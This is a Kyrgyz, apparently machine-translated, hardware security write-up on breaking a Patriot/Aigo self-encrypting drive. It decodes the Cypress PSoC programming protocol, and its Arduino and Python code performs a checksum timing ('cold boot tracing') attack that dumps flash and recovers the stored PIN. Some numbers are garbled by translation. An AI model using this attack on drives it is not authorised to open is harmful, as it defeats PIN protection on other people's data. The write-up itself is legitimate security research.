Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу

Бул тышкы өзүн-өзү шифрлөөчү дисктерди бузуп алуу жөнүндө макаланын экинчи жана акыркы бөлүгү. Эске сала кетейин, жакында кесиптешим мага Patriot (Aigo) SK8671 катуу дискин алып келди, мен аны артка кайтарууну чечтим, эми андан эмне чыкканын бөлүшүп жатам. Андан ары окуудан мурун, сөзсүз окуп чыгыңыз биринчи бөлүк макала.

4. Биз ички PSoC флеш-дискинен таштанды ала баштайбыз
5. ISSP протоколу
– 5.1. ISSP деген эмне
– 5.2. Демистификациялоочу векторлор
– 5.3. PSoC менен байланыш
– 5.4. Чиптеги регистрлерди идентификациялоо
– 5.5. Коопсуздук биттери
6. Биринчи (ийгиликсиз) чабуул: ROMX
7. Экинчи чабуул: Cold Boot Tracing
– 7.1. Ишке ашыруу
– 7.2. Жыйынтыгын окуу
– 7.3. Flash бинардык реконструкция
– 7.4. PIN коддун сактагыч дареги табылууда
– 7.5. №126 кварталдын таштандысын алуу
– 7.6. PIN кодду калыбына келтирүү
8. Кийинки эмне болот?
9. жыйынтыктоо

Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу


4. Биз ички PSoC флеш-дискинен таштанды ала баштайбыз

Ошентип, бардыгы (биз [биринчи бөлүктө]() белгилегендей) PIN код PSoC флэш тереңдигинде сакталганын көрсөтүп турат. Ошондуктан, бул жаркыраган тереңдиктерди окушубуз керек. Керектүү иштердин алды:

  • микроконтроллер менен "байланыш" көзөмөлгө алуу;
  • бул "байланыш" сырттан окуудан корголбогондугун текшерүүнүн жолун табыңыз;
  • коргоону айланып өтүүнүн жолун табуу.

Жарактуу PIN кодду издөөнүн мааниси бар эки жер бар:

  • ички флеш эстутум;
  • SRAM, бул жерде пин кодду колдонуучу киргизген пин код менен салыштыруу үчүн сактаса болот.

ISSP протоколунун документтештирилбеген мүмкүнчүлүктөрүн жокко чыгаргандан кийин, мен дагы эле ички PSoC флэш-дискинин таштандысын "муздак жүктөө издөө" деп аталган аппараттык чабуулдун жардамы менен анын коопсуздук тутумун айланып өткөнүмдү белгилейм. Бул мага түздөн-түз чыныгы PIN кодду таштоого мүмкүндүк берди.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Программанын акыркы коду:

5. ISSP протоколу

5.1. ISSP деген эмне

Микроконтроллер менен "байланыш" ар кандай нерселерди билдире алат: "сатуучудан сатуучуга" сериялык протоколду колдонуу менен өз ара аракеттенүүгө чейин (мисалы, Microchip's PIC үчүн ICSP).

Cypress'тин бул үчүн ISSP (системадагы сериялык программалоо протоколу) деп аталган өзүнүн менчик протоколу бар, ал жарым-жартылай сүрөттөлгөн. техникалык спецификация. Патент US7185162 ошондой эле кээ бир маалымат берет. HSSP деп аталган OpenSource эквиваленти да бар (биз аны кийинчерээк колдонобуз). ISSP төмөнкүдөй иштейт:

  • PSoC кайра жүктөө;
  • сыйкырдуу номерди бул PSoCдин сериялык маалымат пинине чыгарыңыз; тышкы программалоо режимине кирүүгө;
  • командаларды жөнөтөт, алар "векторлор" деп аталган узун бит саптар.

ISSP документтери бул векторлорду бир нече буйруктар үчүн гана аныктайт:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V жана 5V параметрлери)
  • ID-SETUP
  • ОКУУ-ИД-СӨЗ
  • SET-BLOCK-NUM: 10011111010dddddddd111, мында dddddddd=блок #
  • ЖӨНҮНДӨ ӨЧҮРҮҮ
  • ПРОГРАММА-БЛОК
  • ТЕКШЕРҮҮ-ОРНОТУ
  • ОКУУ-БАЙТ: 10110aaaaaaZDDDDDDDDZ1, бул жерде DDDDDDDD = маалымат чыгып, аааааа = дарек (6 бит)
  • WRITE-BYTE: 10010aaaaaaddddddd111, мында dddddddd = маалымат, аааааа = дарек (6 бит)
  • КҮРӨӨ
  • КОЛДОНУУ-ОРНОТУ
  • ОКУУ-ТЕКШЕРҮҮ СУМДУГУ: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDDDZ1, мында ДДДДДДДДДДДДДДДДДДДД = маалымат чыгып: түзмөктүн текшерүү суммасы
  • БЛОКТОРДУ ТАЧУУ

Мисалы, Initialize-2 үчүн вектор:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Бардык векторлордун узундугу бирдей: 22 бит. HSSP документтеринде ISSP боюнча кошумча маалымат бар: "ISSP вектору - бул нускамалардын жыйындысын билдирген бит ырааттуулуктан башка нерсе эмес."

5.2. Демистификациялоочу векторлор

Келгиле, бул жерде эмне болуп жатканын аныктап көрөлү. Башында, мен ошол эле векторлор M8C нускамаларынын чийки версиялары деп ойлогом, бирок бул гипотезаны текшергенден кийин, операциялардын опкоддору дал келбей турганын байкадым.

Анан мен жогорудагы векторду гуглдан издедим жана таптым Мына бул изилдөө, анда автор, ал майда-чүйдөсүнө чейин айтпаса да, кээ бир пайдалуу кеңештерди берет: «Ар бир инструкция төрт мнемониканын бирине туура келген үч биттен башталат (RAMдан окуу, RAMга жазуу, реестрди окуу, реестрди жазуу). Андан кийин 8 дарек биттери, андан кийин 8 маалымат биттери (окуу же жазуу) жана акырында үч токтотуу биттери бар.

Анан мен Supervisory ROM (SROM) бөлүмүнөн абдан пайдалуу маалыматтарды ала алдым. техникалык колдонмо. SROM – бул PSoCдеги катуу коддолгон ROM, ал колдонуучу мейкиндигинде иштеген программалык код үчүн пайдалуу функцияларды (Syscall сыяктуу) камсыз кылат:

  • 00ч:SWBootReset
  • 01ч: ReadBlock
  • 02ч: WriteBlock
  • 03ч: EraseBlock
  • 06ч: Таблицаны окуу
  • 07ч: Текшерүү суммасы
  • 08ч: Калибрлөө0
  • 09ч: Калибрлөө1

Вектордук аталыштарды SROM функцияларына салыштырып, биз бул протокол тарабынан колдоого алынган ар кандай операцияларды күтүлгөн SROM параметрлерине салыштыра алабыз. Мунун аркасында биз ISSP векторлорунун алгачкы үч битинин коддорун чече алабыз:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Бирок, чиптеги процесстерди толук түшүнүүнү PSoC менен түз байланыш аркылуу гана алууга болот.

5.3. PSoC менен байланыш

Дирк Петрауцкий буга чейин эле ташылган Ардуинодогу Cypress'тин HSSP коду, мен клавиатура тактасынын ISSP туташтыргычына туташуу үчүн Arduino Uno колдондум.

Сураныч, менин изилдөөмдүн жүрүшүндө мен Дирктин кодун бир аз өзгөрткөнүмдү эске алыңыз. Менин өзгөртүүмдү GitHubдан таба аласыз: бул жерде жана менин репозиторийдеги Arduino менен байланышуу үчүн тиешелүү Python скрипти cypress_psoc_tools.

Ошентип, Arduino'ну колдонуп, мен алгач "байланыш" үчүн "расмий" векторлорду гана колдондум. Мен VERIFY буйругун колдонуп ички ROMду окууга аракет кылдым. Күтүлгөндөй эле, мен муну кыла алган жокмун. Кыязы, флеш-дисктин ичинде окууну коргоо биттери иштетилгендигине байланыштуу.

Анан эстутум/регистрлерди жазуу жана окуу үчүн өзүмдүн бир нече жөнөкөй векторлорумду түздүм. Флэш-диск корголгонуна карабастан, биз SROMду толугу менен окуй аларыбызды эске алыңыз!

5.4. Чиптеги регистрлерди идентификациялоо

"Бөлүнгөн" векторлорду карап чыккандан кийин, мен аппарат M0C опкоддорун көрсөтүү үчүн документсиз регистрлерди (8xF0-8xFA) колдоноорун таптым, алар коргоону кыйгап өтүп, түздөн-түз аткарылат. Бул мага "ADD", "MOV A, X", "PUSH" же "JMP" сыяктуу ар кандай опкоддорду иштетүүгө мүмкүндүк берди. Алардын аркасында (алардын регистрлердеги терс таасирлерин карап) мен документсиз регистрлердин кайсынысы кадимки регистрлер (A, X, SP жана PC) экенин аныктай алдым.

Натыйжада, HSSP_disas.rb куралы тарабынан түзүлгөн "разборкаланган" код төмөнкүдөй көрүнөт (түшүнүктүүлүк үчүн комментарийлерди коштум):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Коопсуздук биттери

Бул этапта мен PSoC менен байланыша алам, бирок менде флеш-дисктин коопсуздук биттери жөнүндө ишенимдүү маалымат жок. Мени Cypress аппараттын колдонуучусуна коргоонун иштетилгенин текшерүү үчүн эч кандай каражат бербегени таң калтырды. Акыры, Cypress тарабынан берилген HSSP коду Дирк өзүнүн өзгөртүүсүн чыгаргандан кийин жаңыртылганын түшүнүү үчүн мен Google'ду тереңирээк изилдеп чыктым. Жана ошентип! Бул жаңы вектор пайда болду:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бул векторду колдонуу менен (psoc.py дарегиндеги read_security_data караңыз), биз SRAMдагы бардык коопсуздук биттерин 0x80де алабыз, мында ар бир корголгон блок үчүн эки бит бар.

Натыйжада көңүл чөгөт: баары "тышкы окуу жана жазууну өчүрүү" режиминде корголгон. Ошондуктан, биз флеш-дисктен эч нерсе окуй албайбыз, бирок эч нерсе жаза албайбыз (мисалы, ал жерге ROM дамперди орнотуу үчүн). Ал эми коргоону өчүрүүнүн жалгыз жолу - чипти толугу менен өчүрүү. 🙁

6. Биринчи (ийгиликсиз) чабуул: ROMX

Бирок, биз төмөнкү ыкманы колдонсок болот: бизде ыктыярдуу опкоддорду аткаруу мүмкүнчүлүгү бар болгондуктан, эмне үчүн флеш эстутумду окуу үчүн колдонулган ROMXти аткарбайбыз? Бул ыкма ийгиликке жакшы мүмкүнчүлүк бар. Анткени SROMдан маалыматтарды окуган ReadBlock функциясы (векторлор тарабынан колдонулат) анын ISSPден чакырылганын текшерет. Бирок, ROMX opcode мындай текшерүүгө ээ эмес болушу мүмкүн. Ошентип, бул жерде Python коду (Arduino кодуна бир нече жардамчы класстарды кошкондон кийин):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Тилекке каршы, бул код иштебейт. 🙁 Же, тескерисинче, иштейт, бирок натыйжада биз өзүбүздүн опкоддорду алабыз (0x28 0x30 0x40)! Мен түзмөктүн тиешелүү функционалдуулугу окуудан коргоонун элементи деп ойлобойм. Бул инженердик трюкка көбүрөөк окшош: тышкы опкоддорду аткарууда ROM автобусу убактылуу буферге багытталат.

7. Экинчи чабуул: Cold Boot Tracing

ROMX трюки иштебегендиктен, мен бул трюктун башка варианты жөнүндө ойлоно баштадым - басылмада сүрөттөлгөн "Микроконтроллердин микропрограммасын коргоого өтө көп жарык чачуу".

7.1. Ишке ашыруу

ISSP документтери ТЕКШЕРҮҮ ЖӨНҮНДӨ КОЛДОНУУ үчүн төмөнкү векторду берет:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бул документацияда көрсөтүлгөндөй, SROM функциясын 0x07 деп атайт (курсив меники):

Бул функция текшерүү суммасын текшерүү. Ал нөлдөн баштап бир флеш банктагы колдонуучу белгилеген блоктордун санынын 16 биттик текшерүү суммасын эсептейт. BLOCKID параметри текшерүү суммасын эсептөөдө колдонула турган блоктордун санын өткөрүү үчүн колдонулат. "1" мааниси нөл блок үчүн текшерүү суммасын гана эсептейт; анда кандай "0" флеш-банктын бардык 256 блогунун жалпы текшерүү суммасын эсептөөгө себеп болот. 16 биттик текшерүү суммасы KEY1 жана KEY2 аркылуу кайтарылат. KEY1 параметри текшерүү суммасынын төмөнкү тартиптеги 8 биттерин, ал эми KEY2 параметри жогорку тартиптеги 8 биттерин сактайт. Бир нече флеш банктары бар түзмөктөр үчүн текшерүү суммасы функциясы ар бири үчүн өзүнчө чакырылат. Ал иштей турган банк номери FLS_PR1 реестри тарабынан белгиленет (андагы максаттуу флеш банкка ылайыктуу бит коюу менен).

Бул жөнөкөй текшерүү суммасы экенин эске алыңыз: байттар биринин артынан бири кошулат; эч кандай кооз CRC кызыкчылыктар. Мындан тышкары, M8C өзөгүндө регистрлердин өтө аз топтому бар экенин билип, мен текшерүү суммасын эсептөөдө ортодогу маанилер акырында чыга турган өзгөрмөлөргө жазылат деп ойлогом: KEY1 (0xF8) / KEY2 ( 0xF9).

Ошентип, теориялык жактан менин чабуулум мындай көрүнөт:

  1. Биз ISSP аркылуу байланышабыз.
  2. Биз контролдоо суммасын эсептөөнү CHECKSUM-SETUP векторунун жардамы менен баштайбыз.
  3. Белгиленген убакыттан кийин процессорду кайра жүктөйбүз T.
  4. Учурдагы текшерүү суммасын алуу үчүн биз RAMды окуйбуз.
  5. 3 жана 4-кадамдарды кайталаңыз, ар бир жолу T бир аз көбөйтүңүз.
  6. Биз флэш-дисктен маалыматтарды мурунку C контролдук суммасын учурдагыдан алып салуу менен калыбына келтиребиз.

Бирок, көйгөй бар: кайра жүктөгөндөн кийин жөнөтүшүбүз керек болгон Initialize-1 вектору KEY1 менен KEY2нин үстүнөн жазат:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бул код биздин баалуу текшерүү суммасын Calibrate1 (SROM функциясы 9) чакырып кайра жазат... Балким, программалоо режимине кирүү үчүн сыйкырдуу санды (жогорудагы коддун башынан баштап) жөнөтүп, анан SRAMды окуй алабыз? Ооба, ал иштейт! Бул чабуулду ишке ашырган Arduino коду абдан жөнөкөй:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay окуу.
  2. Көзөмөл суммасын эсептөөнү иштетүү (send_checksum_v).
  3. Белгиленген убакытты күтүү; төмөнкү кемчиликтерди эске алуу менен:
    • Эмне болуп кетерин билгиче, мен көп убакытты текке кетирдим кечиктирүү Микросекунд 16383 мкс ашпаган кечигүү менен гана туура иштейт;
    • жана андан кийин мен кечиктирүү Микросекунддар, эгерде 0 ага киргизүү катары берилсе, такыр туура эмес иштей турганын билгенге чейин дагы ошол эле убакытты өлтүрдүм!
  4. PSoCди программалоо режимине кайра жүктөңүз (биз жөн гана сыйкырдуу санды жөнөтөбүз, инициализация векторлорун жибербейбиз).

Python акыркы коду:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Кыскача айтканда, бул код эмне кылат:

  1. PSoCди кайра жүктөйт (жана ага сыйкырдуу санды жөнөтөт).
  2. Толук инициализация векторлорун жөнөтөт.
  3. Ардуино функциясын Cmnd_STK_START_CSUM (0x85) чакырат, мында микросекунддагы кечигүү параметр катары өткөрүлөт.
  4. Текшерүү суммасын (0xF8 жана 0xF9) жана 0xF1 документтештирилбеген регистрди окуйт.

Бул код 10 микросекундда 1 жолу аткарылат. 0xF1 бул жерде камтылган, анткени ал текшерүү суммасын эсептөөдө өзгөргөн жалгыз реестр болгон. Балким, бул арифметикалык логикалык бирдик тарабынан колдонулган убактылуу өзгөрмөнүн кандайдыр бир түрү. Ардуино жашоонун белгилерин көрсөтүүнү токтоткондо, пикокомду колдонуп, Arduinoну баштапкы абалга келтирүү үчүн колдонгон чиркин бузукулукка көңүл буруңуз (эмне үчүн экенин билбейм).

7.2. Жыйынтыгын окуу

Python скриптинин натыйжасы төмөнкүдөй көрүнөт (окуу үчүн жөнөкөйлөтүлгөн):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Айтылгандай, бизде көйгөй бар: биз чыныгы текшерүү суммасы менен иштеп жаткандыктан, нөл байт окулган маанини өзгөртпөйт. Бирок, бүткүл эсептөө процедурасы (8192 байт) 0,1478 секундду талап кылгандыктан (ар бир иштетилгенде бир аз вариациялар менен), бул болжол менен ар бир байт үчүн 18,04 мкс барабар болгондуктан, биз бул убакытты тиешелүү убакта текшерүү суммасынын маанисин текшерүү үчүн колдоно алабыз. Эсептөө процедурасынын узактыгы ар дайым дээрлик бирдей болгондуктан, биринчи иштетүүлөр үчүн бардыгы оңой окулат. Бирок, бул таштандынын аягы анча так эмес, анткени ар бир чуркоодо "убакыттын кичине четтөөлөрү" олуттуу болуп калат:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Бул ар бир микросекунддук кечигүү үчүн 10 таштанды. Флэш-дисктин 8192 байттын баарын демпингдин жалпы иштөө убактысы болжол менен 48 саатты түзөт.

7.3. Flash бинардык реконструкция

Мен бардык убакыттын четтөөлөрүн эске алуу менен флеш-дисктин программалык кодун толугу менен кайра түзө турган кодду жазып бүтө элекмин. Бирок, мен буга чейин бул коддун башталышын калыбына келтирдим. Мен аны туура кылганыма ынануу үчүн, мен аны m8cdis аркылуу демонтаждадым:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Абдан ишеничтүү көрүнөт!

7.4. PIN коддун сактагыч дареги табылууда

Эми биз текшерүү суммасын керектүү учурда окуй алганыбыздан кийин, анын кандай жана кайда өзгөрөрүн оңой текшере алабыз:

  • туура эмес PIN кодду киргизүү;
  • пин кодду өзгөртүү.

Биринчиден, болжолдуу сактагычтын дарегин табуу үчүн, кайра жүктөөдөн кийин 10 мс кадам менен текшерүү суммасын таштадым. Анан мен туура эмес PIN киргизип, ошондой кылдым.

Натыйжа абдан жагымдуу болгон жок, анткени көптөгөн өзгөрүүлөр болгон. Бирок акырында мен текшерүү суммасы 120000 140000 мкс менен 0 XNUMX мкс кечиктирүүнүн ортосунда өзгөргөнүн аныктай алдым. Бирок мен көрсөткөн "пинкод" такыр туура эмес болгон - кечиктирүүMicroseconds процедурасынын артефактынан улам, ага XNUMX берилгенде кызыктай иштерди жасайт.

Андан кийин, дээрлик 3 сааттан кийин, SROM тутумунун CheckSum чалуусу текшерүү суммасы үчүн блоктордун санын көрсөткөн аргументти киргизүү катары кабыл алгандыгын эстедим! Ошол. биз PIN коддун сактагыч дарегин жана "туура эмес аракеттер" эсептегичти 64 байт блокко чейинки тактык менен оңой эле локализациялай алабыз.

Менин алгачкы чуркоолорум төмөнкү натыйжаларды берди:

Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу

Анан мен ПИН кодду "123456"дан "1234567"ге алмаштырдым жана алдым:

Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу

Ошентип, ПИН-код жана туура эмес аракеттердин эсептегичи №126 блокто сакталып калгандай.

7.5. №126 кварталдын таштандысын алуу

Блок №126 125x64x18 = 144000μs тегерегинде, текшерүү суммасын эсептөө башталгандан тартып, менин толук таштандымда жайгашкан болушу керек жана бул абдан ишеничтүү көрүнөт. Андан кийин, көп сандаган жараксыз таштандыларды кол менен электен өткөргөндөн кийин ("убакыттын кичине четтөөлөрүнүн" топтолушуна байланыштуу) мен бул байттарды алдым (145527 мкс кечигүү менен):

Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу

Бул PIN код шифрленбеген түрдө сакталганы айдан ачык! Бул маанилер, албетте, ASCII коддорунда жазылган эмес, бирок белгилүү болгондой, алар сыйымдуулук клавиатурасынан алынган көрсөткүчтөрдү чагылдырат.

Акыр-аягы, мен жаман аракет эсептегич сакталган жерди табуу үчүн дагы бир нече сыноолорду өткөрдүм. Мына натыйжа:

Aigo өзүн-өзү шифрлөөчү тышкы HDD дискин кайра жана бузуп. 2-бөлүк: Cypress PSoCден таштанды алуу

0xFF - "15 аракет" дегенди билдирет жана ал ар бир ийгиликсиз аракет менен азаят.

7.6. PIN кодду калыбына келтирүү

Бул жерде жогорудагыларды бириктирген менин жаман коду бар:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Бул жерде анын аткарылышынын натыйжасы:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Жашасын! Works!

Сураныч, мен колдонгон күтүү убакыттары белгилүү бир PSoC - мен колдонгонго тиешелүү болушу мүмкүн экенин эске алыңыз.

8. Кийинки эмне болот?

Ошентип, келгиле, биздин Aigo дискибиздин контекстинде PSoC жагын жалпылап көрөлү:

  • биз SRAM окуудан корголгон болсо да окуй алабыз;
  • Биз муздак жүктөө изи чабуулун колдонуу жана PIN-кодду түздөн-түз окуу аркылуу серпүүгө каршы коргоону кыйгап өтө алабыз.

Бирок, биздин чабуул синхрондоштуруу көйгөйлөрүнө байланыштуу кээ бир кемчиликтерге ээ. Ал төмөнкүдөй жакшыртылышы мүмкүн:

  • "муздак жүктөө изи" чабуулунун натыйжасында алынган чыгуу маалыматтарын туура чечмелөө үчүн утилитаны жазыңыз;
  • так убакыт кечигүүлөрүн түзүү үчүн FPGA гаджетін колдонуңуз (же Arduino аппараттык таймерлерин колдонуңуз);
  • дагы бир чабуулга аракет кылыңыз: атайылап туура эмес PIN кодду киргизиңиз, кайра жүктүңүз жана RAMды төгүңүз, туура PIN код салыштыруу үчүн RAMда сакталат деп үмүттөнөбүз. Бирок, Arduinoдо муну жасоо оңой эмес, анткени Arduino сигналынын деңгээли 5 вольт, ал эми биз карап жаткан такта 3,3 вольттук сигналдар менен иштейт.

Бир кызыктуу нерсе, бул окуудан коргоону айланып өтүү үчүн чыңалуу деңгээли менен ойноо. Эгер бул ыкма иштесе, анда биз флеш-дисктен так маалыматтарды ала алмакпыз - так эмес убакыт кечигүүлөрү менен текшерүү суммасын окууга таянуунун ордуна.

SROM, кыязы, ReadBlock тутумунун чалуусу аркылуу күзөт биттерин окуйт, ошондуктан биз дагы ушундай кылсак болот сүрөттөлгөн Дмитрий Недоспасовдун блогунда - конференцияда жарыяланган Крис Герлинскинин чабуулун кайра ишке ашыруу "REcon Brussels 2017".

Дагы бир кызыктуу нерсе - ишти чиптен майдалоо: SRAM таштандысын алуу, документсиз системалык чалууларды жана алсыздыктарды аныктоо.

9. жыйынтыктоо

Ошентип, бул дисктин корголушу көп нерсени талап кылат, анткени ал PIN-кодду сактоо үчүн кадимки («кататылган» эмес) микроконтроллерди колдонот... Мындан тышкары, мен (азырынча) маалыматтар менен кандай жүрүп жатканын карай элекмин. бул түзмөктө шифрлөө!

